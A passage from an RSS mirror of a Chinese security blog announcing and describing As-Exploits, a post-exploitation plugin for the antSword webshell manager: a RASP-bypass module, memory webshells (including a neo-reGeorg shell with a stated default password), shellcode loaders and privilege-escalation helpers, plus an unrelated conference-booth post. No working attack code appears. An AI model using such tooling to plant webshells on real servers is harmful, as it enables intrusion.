ypassOpenRASP%20exploit%20%E8%BE%93%E5%87%BA%E7%BB%93%E6%9E%9C%201%20BypassOpenRaspsuccess!%22%2C%22ocrLocations%22%3A%5B%7B%22x%22%3A37.307983%2C%22y%22%3A6.310822%2C%22width%22%3A374.019747%2C%22height%22%3A18.084947999999997%2C%22text%22%3A%22AS-Exploitsv1.319168.88.144jByzdMr6%22%7D%2C%7B%22x%22%3A1008.49554%2C%22y%22%3A7.9715405%2C%22width%22%3A40.843659999999886%2C%22height%22%3A15.3249475%2C%22text%22%3A%22%E5%8F%A3x%22%7D%2C%7B%22x%22%3A522.7606%2C%22y%22%3A40.9002%2C%22width%22%3A112.13490000000002%2C%22height%22%3A16.9234%2C%22text%22%3A%22SheliCode%E5%8A%A0%E8%BD%BD%E5%99%A8%22%7D%2C%7B%22x%22%3A979.95636%2C%22y%22%3A41.186462%2C%22width%22%3A31.357340000000022%2C%22height%22%3A16.719563%2C%22text%22%3A%22%E5%85%B3%E4%BA%8E%22%7D%2C%7B%22x%22%3A685.1764%2C%22y%22%3A41.13373%2C%22width%22%3A67.47260000000006%2C%22height%22%3A17.400087%2C%22text%22%3A%22Jar%E5%8A%A0%E8%BD%BD%E5%99%A8%22%7D%2C%7B%22x%22%3A199.63687%2C%22y%22%3A41.088913%2C%22width%22%3A61.67553000000004%2C%22height%22%3A17.290279000000005%2C%22text%22%3A%22%E6%9D%80%E8%BD%AF%E8%AF%86%E5%88%AB%22%7D%2C%7B%22x%22%3A306.04227%2C%22y%22%3A41.349796%2C%22width%22%3A61.709100000000035%2C%22height%22%3A16.831594000000003%2C%22text%22%3A%22%E6%8F%90%E6%9D%83%E8%BE%85%E5%8A%A9%22%7D%2C%7B%22x%22%3A414.0139%2C%22y%22%3A41.46264%2C%22width%22%3A60.635940000000005%2C%22height%22%3A16.975749999999998%2C%22text%22%3A%22%E5%B1%8F%E5%B9%95%E6%88%AA%E5%9B%BE%22%7D%2C%7B%22x%22%3A78.41564%2C%22y%22%3A41.20985%2C%22width%22%3A77.19334%2C%22height%22%3A17.221473999999994%2C%22text%22%3A%22%E5%86%85%E5%AD%98%E9%A9%AC%E7%AE%A1%E7%90%86%22%7D%2C%7B%22x%22%3A797.05096%2C%22y%22%3A41.944412%2C%22width%22%3A140.07133999999996%2C%22height%22%3A17.607815000000002%2C%22text%22%3A%22BypassOpenRASP%22%7D%2C%7B%22x%22%3A30.125116%2C%22y%22%3A85.011505%2C%22width%22%3A46.776214%2C%22height%22%3A14.124925000000005%2C%22text%22%3A%22exploit%22%7D%2C%7B%22x%22%3A16.511606%2C%22y%22%3A444.30948%2C%22width%22%3A61.605744%2C%22height%22%3A16.297969999999964%2C%22text%22%3A%22%E8%BE%93%E5%87%BA%E7%BB%93%E6%9E%9C%22%7D%2C%7B%22x%22%3A33.978466%2C%22y%22%3A476.5576%2C%22width%22%3A14.380386000000001%2C%22height%22%3A14.380386000000001%2C%22text%22%3A%221%22%7D%2C%7B%22x%22%3A65.61458%2C%22y%22%3A475.00717%2C%22width%22%3A231.47105%2C%22height%22%3A19.572910000000036%2C%22text%22%3A%22BypassOpenRaspsuccess!%22%7D%5D%2C%22id%22%3A%22ijM0l%22%2C%22margin%22%3A%7B%22top%22%3Atrue%2C%22bottom%22%3Atrue%7D%7D"><img data-height="326px" data-ratio="0.522232734153264" title="image.png" data-type="png" data-w="1057" style="visibility: visible;width: 625px;" src="https://wechat2rss.xlab.app/img-proxy/?k=193b4e2e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy1wQ16j5Q02lP62kmekQgiacGoGVsc01jQSrEHIgWVRicbAdK21hqhDsFmAjiccBWHOLm9C1cfsH4rcA%2F640%3Fwx_fmt%3Dpng"/></span></p><p data-lake-id="7bc688ab3c3ec5e112f4cd2712b43e0e" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;">再次运行，即可执行命令</p><p data-lake-id="27464daab650a815b253ab1b3f0af6fa" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><span data-card-type="inline" data-lake-card="image" data-card-value="data:%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2021%2Fpng%2F1599908%2F1621067283390-eeef6d4e-f632-40d0-ad5a-fbb717044e06.png%22%2C%22originalType%22%3A%22binary%22%2C%22width%22%3A651%2C%22height%22%3A354%2C%22linkTarget%22%3A%22_blank%22%2C%22name%22%3A%22image.png%22%2C%22size%22%3A59713%2C%22originWidth%22%3A892%2C%22originHeight%22%3A485%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22search%22%3A%22ashelp%E6%9F%A5%E7%9C%8B%E6%9C%AC%E5%9C%B0%E5%91%BD%E4%BB%A4%20%E8%BE%93%E5%85%A5%20c%3ALenyIapache-tomcat-8.5.57windowx6%20dir%2064lapache-tomcat8.5.57%5C%5Cbin%20c%3Alenylapache-tomcat-8.5.57-window-x64lapache-tomca8.57%20eiylapache-tomcat-8.5.57mc%20%E9%A9%B1%E5%8A%A8%E5%99%A8c%E4%B8%AD%E7%9A%84%E5%8D%B7%E6%B2%A1%E6%9C%89%E6%A0%87%E7%AD%BE.%20%E5%8D%B7%E7%9A%84%E5%BA%8F%E5%88%97%E5%8F%B7%E6%98%AF8874-7285%20c%3Alenylapache-tomcat-8.5.57-vindows-x64lapache-tomcat-8.5.57bin%E5%BD%95%202021%2F05%2F13%2021%3A03%20%3CDIR%3E%202021%2F05%2F13%2021%3A03%20%3CDIR%3E%2036%2C149%2022%3A50%2049bootstrap.jar%202020%2F06%2F30%201%2C703%202020%2F06%2F30%20catalina-tasks.xml%2022%3A50%2016%2C757%20catalina.bat%2022%3A54%202021%2F05%2F02%2025%2C245%20alina.sh%202020%2F06%2F30%2022%3A50%20catal%202020%2F06%2F30%20ciphers.bat%202%2C123%2022%3A50%2022%3A50%202020%2F06%2F30%201%2C997%20ciphers.sh%2025%2C197%2022%3A50%202020%2F06%2F30%20commons-daemon.jar%20configtest.bat%2022%3A50%202%2C040%202020%2F06%2F30%201%2C922configtest.sh%202020%2F06%2F30%2022%3A50%209%2C100daemon.sh%202020%2F06%2F30%2022%3A50%202%2Cdigetat%2022%3A50%202020%2F06%2F30%201%2C965digest.sh%202020%2F06%2F30%2022%3A50%2026%2C5i1hserrpid12940.1og%202021%2F04%2F26%2019%3A04%22%2C%22ocrLocations%22%3A%5B%7B%22x%22%3A95.461266%2C%22y%22%3A-0.4184722%2C%22width%22%3A179.588204%2C%22height%22%3A23.7793392%2C%22text%22%3A%22ashelp%E6%9F%A5%E7%9C%8B%E6%9C%AC%E5%9C%B0%E5%91%BD%E4%BB%A4%22%7D%2C%7B%22x%22%3A50.289547%2C%22y%22%3A1.6444832%2C%22width%22%3A34.561153000000004%2C%22height%22%3A19.6123208%2C%22text%22%3A%22%E8%BE%93%E5%85%A5%22%7D%2C%7B%22x%22%3A8.436552%2C%22y%22%3A25.213747%2C%22width%22%3A414.582448%2C%22height%22%3A16.837397%2C%22text%22%3A%22c%3ALenyIapache-tomcat-8.5.57windowx6%22%7D%2C%7B%22x%22%3A693.538%2C%22y%22%3A27.281378%2C%22width%22%3A30.581140000000005%2C%22height%22%3A13.064553999999998%2C%22text%22%3A%22dir%22%7D%2C%7B%22x%22%3A390.52325%2C%22y%22%3A26.624454%2C%22width%22%3A291.8723499999999%2C%22height%22%3A16.517952%2C%22text%22%3A%2264lapache-tomcat8.5.57%5C%5Cbin%22%7D%2C%7B%22x%22%3A13.036519%2C%22y%22%3A43.374126%2C%22width%22%3A669.334981%2C%22height%22%3A19.323586000000006%2C%22text%22%3A%22c%3Alenylapache-tomcat-8.5.57-window-x64lapache-tomca8.57%22%7D%2C%7B%22x%22%3A9.834938%2C%22y%22%3A63.801113%2C%22width%22%3A673.471032%2C%22height%22%3A20.843507000000002%2C%22text%22%3A%22eiylapache-tomcat-8.5.57mc%22%7D%2C%7B%22x%22%3A19.351053%2C%22y%22%3A83.6614%2C%22width%22%3A211.736807%2C%22height%22%3A17.14022%2C%22text%22%3A%22%E9%A9%B1%E5%8A%A8%E5%99%A8c%E4%B8%AD%E7%9A%84%E5%8D%B7%E6%B2%A1%E6%9C%89%E6%A0%87%E7%AD%BE.%22%7D%2C%7B%22x%22%3A20.165049%2C%22y%22%3A103.12115%2C%22width%22%3A203.847481%2C%22height%22%3A18.002139999999997%2C%22text%22%3A%22%E5%8D%B7%E7%9A%84%E5%BA%8F%E5%88%97%E5%8F%B7%E6%98%AF8874-7285%22%7D%2C%7B%22x%22%3A18.417423%2C%22y%22%3A142.16995%2C%22width%22%3A726.5859370000001%2C%22height%22%3A20.113769999999988%2C%22text%22%3A%22c%3Alenylapache-tomcat-8.5.57-vindows-x64lapache-tomcat-8.5.57bin%E5%BD%95%22%7D%2C%7B%22x%22%3A10.007689%2C%22y%22%3A186.16318%2C%22width%22%3A104.004101%2C%22height%22%3A14.649519999999995%2C%22text%22%3A%222021%2F05%2F13%22%7D%2C%7B%22x%22%3A133.76428%2C%22y%22%3A186.39201%2C%22width%22%3A51.57406999999998%2C%22height%22%3A13.967870000000005%2C%22text%22%3A%2221%3A03%22%7D%2C%7B%22x%22%3A229.17%2C%22y%22%3A187.43167%2C%22width%22%3A46.79542000000001%2C%22height%22%3A12.59232%2C%22text%22%3A%22%3CDIR%3E%22%7D%2C%7B%22x%22%3A9.840951%2C%22y%22%3A206.09355%2C%22width%22%3A103.698939%2C%22height%22%3A14.302539999999993%2C%22text%22%3A%222021%2F05%2F13%22%7D%2C%7B%22x%22%3A134.53241%2C%22y%22%3A206.74345%2C%22width%22%3A50.30382%2C%22height%22%3A12.886020000000002%2C%22text%22%3A%2221%3A03%22%7D%2C%7B%22x%22%3A229.34459%2C%22y%22%3A207.63403%2C%22width%22%3A47.38023000000001%2C%22height%22%3A12.604399999999998%2C%22text%22%3A%22%3CDIR%3E%22%7D%2C%7B%22x%22%3A310.53262%2C%22y%22%3A225.27551%2C%22width%22%3A68.27441999999996%2C%22height%22%3A15.87772000000001%2C%22text%22%3A%2236%2C149%22%7D%2C%7B%22x%22%3A133.78932%2C%22y%22%3A226.49196%2C%22width%22%3A51.342299999999994%2C%22height%22%3A13.728739999999988%2C%22text%22%3A%2222%3A50%22%7D%2C%7B%22x%22%3A365.63208%2C%22y%22%3A226.69656%2C%22width%22%3A154.26788%2C%22height%22%3A16.311999999999983%2C%22text%22%3A%2249bootstrap.jar%22%7D%2C%7B%22x%22%3A9.517008%2C%22y%22%3A226.46901%2C%22width%22%3A104.095962%2C%22height%22%3A14.641690000000011%2C%22text%22%3A%222020%2F06%2F30%22%7D%2C%7B%22x%22%3A319.4772%2C%22y%22%3A246.58842%2C%22width%22%3A52.409370000000024%2C%22height%22%3A14.546879999999959%2C%22text%22%3A%221%2C703%22%7D%2C%7B%22x%22%3A9.68507%2C%22y%22%3A246.41737%2C%22width%22%3A103.25124000000001%2C%22height%22%3A14.046249999999986%2C%22text%22%3A%222020%2F06%2F30%22%7D%2C%7B%22x%22%3A386.0585%2C%22y%22%3A246.70305%2C%22width%22%3A183.38030000000003%2C%22height%22%3A14.624800000000022%2C%22text%22%3A%22catalina-tasks.xml%22%7D%2C%7B%22x%22%3A134.51964%2C%22y%22%3A246.9152%2C%22width%22%3A50.092629999999986%2C%22height%22%3A13.595099999999974%2C%22text%22%3A%2222%3A50%22%7D%2C%7B%22x%22%3A310.54413%2C%22y%22%3A266.01938%2C%22width%22%3A61.67284999999998%2C%22height%22%3A14.65853999999996%2C%22text%22%3A%2216%2C757%22%7D%2C%7B%22x%22%3A381.64844%2C%22y%22%3A266.57108%2C%22width%22%3A125.03316000000001%2C%22height%22%3A14.323660000000018%2C%22text%22%3A%22catalina.bat%22%7D%2C%7B%22x%22%3A134.21524%2C%22y%22%3A266.49808%2C%22width%22%3A50.74535%2C%22height%22%3A14.250969999999995%2C%22text%22%3A%2222%3A54%22%7D%2C%7B%22x%22%3A9.768915%2C%22y%22%3A266.92065%2C%22width%22%3A103.40299100000001%2C%22height%22%3A14.27292%2C%22text%22%3A%222021%2F05%2F02%22%7D%2C%7B%22x%22%3A309.66745%2C%22y%22%3A285.7547%2C%22width%22%3A63.64047000000005%2C%22height%22%3A15.504599999999982%2C%22text%22%3A%2225%2C245%22%7D%2C%7B%22x%22%3A420.74664%2C%22y%22%3A286.56396%2C%22width%22%3A75.93079%2C%22height%22%3A14.278970000000015%2C%22text%22%3A%22alina.sh%22%7D%2C%7B%22x%22%3A10.028286%2C%22y%22%3A286.3479%2C%22width%22%3A103.37376400000001%2C%22height%22%3A14.787500000000023%2C%22text%22%3A%222020%2F06%2F30%22%7D%2C%7B%22x%22%3A134.56662%2C%22y%22%3A287.08224%2C%22width%22%3A50.491209999999995%2C%22height%22%3A13.822699999999998%2C%22text%22%3A%2222%3A50%22%7D%2C%7B%22x%22%3A382.15594%2C%22y%22%3A287.8206%2C%22width%22%3A46.34816000000001%2C%22height%22%3A13.140899999999988%2C%22text%22%3A%22catal%22%7D%2C%7B%22x%22%3A10.184806%2C%22y%22%3A306.14557%2C%22width%22%3A102.59130400000001%2C%22height%22%3A14.18356%2C%22text%22%3A%222020%2F06%2F30%22%7D%2C%7B%22x%22%3A381.7406%2C%22y%22%3A305.80124%2C%22width%22%3A114.25876000000005%2C%22height%22%3A15.993679999999983%2C%22text%22%3A%22ciphers.bat%22%7D%2C%7B%22x%22%3A319.77023%2C%22y%22%3A306.11438%2C%22width%22%3A52.879489999999976%2C%22height%22%3A15.801480000000026%2C%22text%22%3A%222%2C123%22%7D%2C%7B%22x%22%3A135.19026%2C%22y%22%3A307.01532%2C%22width%22%3A49.512159999999994%2C%22height%22%3A13.390720000000044%2C%22text%22%3A%2222%3A50%22%7D%2C%7B%22x%22%3A134.57793%2C%22y%22%3A326.3813%2C%22width%22%3A50.35013999999998%2C%22height%22%3A14.084400000000016%2C%22text%22%3A%2222%3A50%22%7D%2C%7B%22x%22%3A10.137269%2C%22y%22%3A326.63126%2C%22width%22%3A103.933341%2C%22height%22%3A14.035140000000013%2C%22text%22%3A%222020%2F06%2F30%22%7D%2C%7B%22x%22%3A320.54117%2C%22y%22%3A326.49716%2C%22width%22%3A51.37630999999999%2C%22height%22%3A15.264859999999999%2C%22text%22%3A%221%2C997%22%7D%2C%7B%22x%22%3A382.12582%2C%22y%22%3A326.8576%2C%22width%22%3A105.05613%2C%22height%22%3A15.358339999999998%2C%22text%22%3A%22ciphers.sh%22%7D%2C%7B%22x%22%3A311.09695%2C%22y%22%3A345.82495%2C%22width%22%3A60.484170000000006%2C%22height%22%3A15.156279999999981%2C%22text%22%3A%2225%2C197%22%7D%2C%7B%22x%22%3A134.99428%2C%22y%22%3A347.07755%2C%22width%22%3A49.93294%2C%22height%22%3A13.503570000000025%2C%22text%22%3A%2222%3A50%22%7D%2C%7B%22x%22%3A10.224282%2C%22y%22%3A347.14294%2C%22width%22%3A102.910118%2C%22height%22%3A13.269689999999969%2C%22text%22%3A%222020%2F06%2F30%22%7D%2C%7B%22x%22%3A381.57166%2C%22y%22%3A347.29715%2C%22width%22%3A188.12704000000002%2C%22height%22%3A14.987400000000036%2C%22text%22%3A%22commons-daemon.jar%22%7D%2C%7B%22x%22%3A380.48972%2C%22y%22%3A366.26636%2C%22width%22%3A146.60048%2C%22height%22%3A14.696559999999977%2C%22text%22%3A%22configtest.bat%22%7D%2C%7B%22x%22%3A134.71342%2C%22y%22%3A366.64194%2C%22width%22%3A50.42304999999999%2C%22height%22%3A13.321840000000009%2C%22text%22%3A%2222%3A50%22%7D%2C%7B%22x%22%3A320.62515%2C%22y%22%3A366.48956%2C%22width%22%3A51.82585%2C%22height%22%3A14.518100000000004%2C%22text%22%3A%222%2C040%22%7D%2C%7B%22x%22%3A10.157105%2C%22y%22%3A366.69556%2C%22width%22%3A103.906925%2C%22height%22%3A13.762839999999983%2C%22text%22%3A%222020%2F06%2F30%22%7D%2C%7B%22x%22%3A320.1588%2C%22y%22%3A385.52463%2C%22width%22%3A189.96160000000003%2C%22height%22%3A15.889369999999985%2C%22text%22%3A%221%2C922configtest.sh%22%7D%2C%7B%22x%22%3A10.301827%2C%22y%22%3A386.0332%2C%22width%22%3A103.265723%2C%22height%22%3A14.669679999999971%2C%22text%22%3A%222020%2F06%2F30%22%7D%2C%7B%22x%22%3A135.1013%2C%22y%22%3A387.47693%2C%22width%22%3A49.969599999999986%2C%22height%22%3A13.175290000000018%2C%22text%22%3A%2222%3A50%22%7D%2C%7B%22x%22%3A320.4714%2C%22y%22%3A403.90204%2C%22width%22%3A154.51729999999998%2C%22height%22%3A17.383759999999995%2C%22text%22%3A%229%2C100daemon.sh%22%7D%2C%7B%22x%22%3A9.477282%2C%22y%22%3A406.87616%2C%22width%22%3A103.809748%2C%22height%22%3A13.402769999999975%2C%22text%22%3A%222020%2F06%2F30%22%7D%2C%7B%22x%22%3A134.80748%2C%22y%22%3A407.13916%2C%22width%22%3A50.03104999999999%2C%22height%22%3A13.099400000000003%2C%22text%22%3A%2222%3A50%22%7D%2C%7B%22x%22%3A319.8441%2C%22y%22%3A426.3972%2C%22width%22%3A166.30095%2C%22height%22%3A15.169269999999983%2C%22text%22%3A%222%2Cdigetat%22%7D%2C%7B%22x%22%3A134.01022%2C%22y%22%3A426.49%2C%22width%22%3A51.041229999999985%2C%22height%22%3A13.946919999999977%2C%22text%22%3A%2222%3A50%22%7D%2C%7B%22x%22%3A9.694826%2C%22y%22%3A426.1395%2C%22width%22%3A103.989994%2C%22height%22%3A15.390199999999993%2C%22text%22%3A%222020%2F06%2F30%22%7D%2C%7B%22x%22%3A318.68378%2C%22y%22%3A444.26782%2C%22width%22%3A155.65663999999998%2C%22height%22%3A16.63993000000005%2C%22text%22%3A%221%2C965digest.sh%22%7D%2C%7B%22x%22%3A10.53084%2C%22y%22%3A446.57486%2C%22width%22%3A103.12523%2C%22height%22%3A13.74457000000001%2C%22text%22%3A%222020%2F06%2F30%22%7D%2C%7B%22x%22%3A134.64864%2C%22y%22%3A447.29404%2C%22width%22%3A50.41362000000001%2C%22height%22%3A12.913880000000006%2C%22text%22%3A%2222%3A50%22%7D%2C%7B%22x%22%3A310.0675%2C%22y%22%3A465.6951%2C%22width%22%3A269.56763%2C%22height%22%3A16.142299999999977%2C%22text%22%3A%2226%2C5i1hserrpid12940.1og%22%7D%2C%7B%22x%22%3A10.644815%2C%22y%22%3A466.2123%2C%22width%22%3A104.64198900000001%2C%22height%22%3A13.517619999999965%2C%22text%22%3A%222021%2F04%2F26%22%7D%2C%7B%22x%22%3A135.03459%2C%22y%22%3A466.9273%2C%22width%22%3A50.148679999999985%2C%22height%22%3A13.309199999999976%2C%22text%22%3A%2219%3A04%22%7D%5D%2C%22id%22%3A%22feS5Y%22%2C%22margin%22%3A%7B%22top%22%3Atrue%2C%22bottom%22%3Atrue%7D%7D"><img data-height="354px" data-ratio="0.5437219730941704" title="image.png" data-type="png" data-w="892" style="visibility: visible;width: 651px;" src="https://wechat2rss.xlab.app/img-proxy/?k=d0a7d5ed&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy1wQ16j5Q02lP62kmekQgiacuvhOU9ibpRuYacSJj0JCbNMCKqBiadkBkEnYQYTy2JshQOwJicUcotibVQ%2F640%3Fwx_fmt%3Dpng"/></span></p><h2 data-lake-id="R4Vf8" data-wording="true" style="padding-top: 7px;padding-bottom: 7px;font-weight: 700;font-size: 24px;line-height: 32px;">其他</h2><ul lake-indent="0" style="padding-left: 23px;font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;" class="list-paddingleft-2"><li><p>reGeorg内存马改为更稳定的neo-reGerog，默认密码：asexploits</p></li><li><p>冰蝎内存马去除pageContext依赖，兼容Spring等容器</p></li><li><p>各模块兼容JDK5</p></li></ul><h2 data-lake-id="6dzXe" data-wording="true" style="white-space: normal;"><br/></h2><h2 data-lake-id="da53ad71" data-wording="true" style="padding-top: 7px;padding-bottom: 7px;font-weight: 700;font-size: 24px;line-height: 32px;">项目地址</h2><p data-lake-id="ca570a3dea35c52c069b78a61621bfce" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><a href="https://github.com/yzddmr6/As-Exploits" target="_blank">https://github.com/yzddmr6/As-Exploits</a></p><p data-lake-id="27e3f65cf0dfa1f4019ff149aa337a8f" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;">来颗star吧~</p>



<p><a href="2247484237">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=91fe52a7&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI0MDI5MTQ3OQ%3D%3D%26mid%3D2247484237%26idx%3D1%26sn%3D0e94245e9b8f576e782a2a9a09924a7c%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sat, 15 May 2021 19:13:00 +0800</pubDate>
    </item>
    <item>
      <title>水一下，嫖了西湖论剑的一个展位，讲解什么的，Mr6是主力，我打打杂。本来想做一批贴纸的，月亮师傅加班加点都设计出来了，可惜时间太紧了，没印，所以提前发出来让大伙瞅瞅。以后有机会再着手印一批周边。</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI0MDI5MTQ3OQ==&amp;mid=2247484158&amp;idx=1&amp;sn=e5f85833c2761c0bec4dc06bdec67478</link>
      <description>水一下，嫖了西湖论剑的一个展位，讲解什么的，Mr6是主力，我打打杂。本来想做一批贴纸的，月亮师傅加班加点都设计出来了，可惜时间太紧了，没印，所以提前发出来让大伙瞅瞅。以后有机会再着手印一批周边。</description>
      <content:encoded><![CDATA[<p>
<span></span> <span>2021-04-23 22:57</span> <span style="display: inline-block;"></span>
</p>

<p>水一下，嫖了西湖论剑的一个展位，讲解什么的，Mr6是主力，我打打杂。本来想做一批贴纸的，月亮师傅加班加点都设计出来了，可惜时间太紧了，没印，所以提前发出来让大伙瞅瞅。以后有机会再着手印一批周边。</p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=d1f48781&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FlkcJVly3Wy2FKg4ibicfVO0rcibPFBdtYhiatoASBmx4oMGzMVE8g1WYLdyYEWpGt0vxF3UGlL93qBCEWqcPibeoVdQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<div id="js_image_content" class="image_content "><!---->    <!----> <!----> <!----> <div class="wx_album_area js_album_wrap " style=""></div> <div class="rich_media_tool "><div class="rich_media_info weui-flex policy_tips js_ad_policy_tips tips_global_primary "><!----></div></div> </div>


<p><img src="https://mmbiz.qpic.cn/mmbiz_jpg/lkcJVly3Wy2FKg4ibicfVO0rcibPFBdtYhiaZiaIibpKdflRlPwJZGvjRT6M1UXMmO3eCGFfvtdqcgwSeeN220g2POibg/0?wx_fmt=jpeg"/></p>
<p><img src="https://mmbiz.qpic.cn/mmbiz_jpg/lkcJVly3Wy2FKg4ibicfVO0rcibPFBdtYhiaPficO8UgcGb4X8jCXmrtMGc3qIW7jzqCPQA0QSg1wc6ZxWxA7lPclBg/0?wx_fmt=jpeg"/></p>
<p><img src="https://mmbiz.qpic.cn/mmbiz_jpg/lkcJVly3Wy2FKg4ibicfVO0rcibPFBdtYhia9MibWGLpzq2gkJBu68fia4wDQO6XFiajPO1UKiaibbG3OuKVpia4RPblyJwg/0?wx_fmt=jpeg"/></p>
<p><img src="https://mmbiz.qpic.cn/mmbiz_jpg/lkcJVly3Wy2FKg4ibicfVO0rcibPFBdtYhia4t6tQNbUlEnQUvTDzTYAkZNVkEfVrgic6icpW0FHxPiaqOltlOfLIa6kg/0?wx_fmt=jpeg"/></p>
<p><img src="https://mmbiz.qpic.cn/mmbiz_jpg/lkcJVly3Wy2FKg4ibicfVO0rcibPFBdtYhiaIOFe35QZd8Azug78NxueLE9ib45ILUdnWvTa10m8QBLSS5J1yMelfXQ/0?wx_fmt=jpeg"/></p>
<p><img src="https://mmbiz.qpic.cn/mmbiz_jpg/lkcJVly3Wy2FKg4ibicfVO0rcibPFBdtYhiaIOFe35QZd8Azug78NxueLE9ib45ILUdnWvTa10m8QBLSS5J1yMelfXQ/0?wx_fmt=jpeg"/></p>




<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=dfa2fa54&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI0MDI5MTQ3OQ%3D%3D%26mid%3D2247484158%26idx%3D1%26sn%3De5f85833c2761c0bec4dc06bdec67478%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 23 Apr 2021 22:57:00 +0800</pubDate>
    </item>
    <item>
      <title>【As-Exploits】你不能错过的antSword插件</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI0MDI5MTQ3OQ==&amp;mid=2247484155&amp;idx=1&amp;sn=b8fb5132c28c2c6e11afb3b65b6194eb</link>
      <description>antSword 后渗透模块，一个你不能错过的插件。本文将介绍 v1.2 更新内容，并介绍该插件目前已有的功能。</description>
      <content:encoded><![CDATA[<p>
原创 <span>yzddMr6</span> <span>2021-04-04 19:18</span> <span style="display: inline-block;"></span>
</p>

<p>antSword 后渗透模块，一个你不能错过的插件。本文将介绍 v1.2 更新内容，并介绍该插件目前已有的功能。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=29abf387&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FlkcJVly3Wy2iawqL1S4qTmEFElpSDibibG9ictadgt7VOQnic0yk0sEbCbslWhmcjIA7fKoSXN1558icSWW1O6icKQ7Rw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h2 data-lake-id="e7646c99105720fd17117f117cd54fb6" data-wording="true" style="padding-top: 7px;padding-bottom: 7px;font-weight: 700;font-size: 24px;line-height: 32px;">前言</h2><p data-lake-id="4d7ea7f5ae1363baef2cba58c08a49da" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;text-align: left;"><span style="letter-spacing: 0.008em;text-align: left;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">As-Exploits，中国蚁剑后渗透模块。</span><span style="letter-spacing: 0.008em;text-align: left;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(217, 33, 66);"><strong>本文将介绍 v1.2 更新内容，并介绍该插件目前已有的功能。</strong></span><br/></p><p data-lake-id="4d7ea7f5ae1363baef2cba58c08a49da" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><br/></p><p data-lake-id="13eaf54acba5ef60eaba204828ad0449" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;text-align: left;">  目前插件的定位是蚁剑的一个<span style="color: rgb(217, 33, 66);"><strong>微内核拓展模块</strong></span>，可以迅速做到 Payload 的工程化，不用过多时间浪费在插件的结构上。目前的As-Exlpoits各部分之间基本做到了解耦，新增一个payload只需要两步：1. 填写payload，2. 画一个表单。其余发包，回显处理等事情框架会自动帮你实现。想要自定义的话只需要继承父类然后重写对应方法即可。</p><p data-lake-id="d7505d159cf8f5845e999705713eadc9" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;text-align: left;"><br/></p><p data-lake-id="f3466e135b5ac63459e6a4dff31771b3" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;text-align: left;">其中Payload部分很多借鉴了冰蝎跟哥斯拉的实现，向其开发者们表示感谢！</p><p data-lake-id="f3466e135b5ac63459e6a4dff31771b3" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;text-align: left;"><br/></p><h2 data-lake-id="861782ef271f59671d8f96100d1e60a6" data-wording="true" style="padding-top: 7px;padding-bottom: 7px;font-weight: 700;font-size: 24px;line-height: 32px;">支持列表</h2><p><br/></p><table><thead><tr style="height: 33px;"><td style="text-align: center;min-width: 90px;font-size: 14px;white-space: normal;overflow-wrap: break-word;border-color: rgb(217, 217, 217);padding: 4px 8px;cursor: default;"><strong>模块名称\Shell类型</strong></td><td style="text-align: center;min-width: 90px;font-size: 14px;white-space: normal;overflow-wrap: break-word;border-color: rgb(217, 217, 217);padding: 4px 8px;cursor: default;"><strong>PHP</strong></td><td style="text-align: center;min-width: 90px;font-size: 14px;white-space: normal;overflow-wrap: break-word;border-color: rgb(217, 217, 217);padding: 4px 8px;cursor: default;"><strong>ASPX</strong></td><td style="text-align: center;min-width: 90px;font-size: 14px;white-space: normal;overflow-wrap: break-word;border-color: 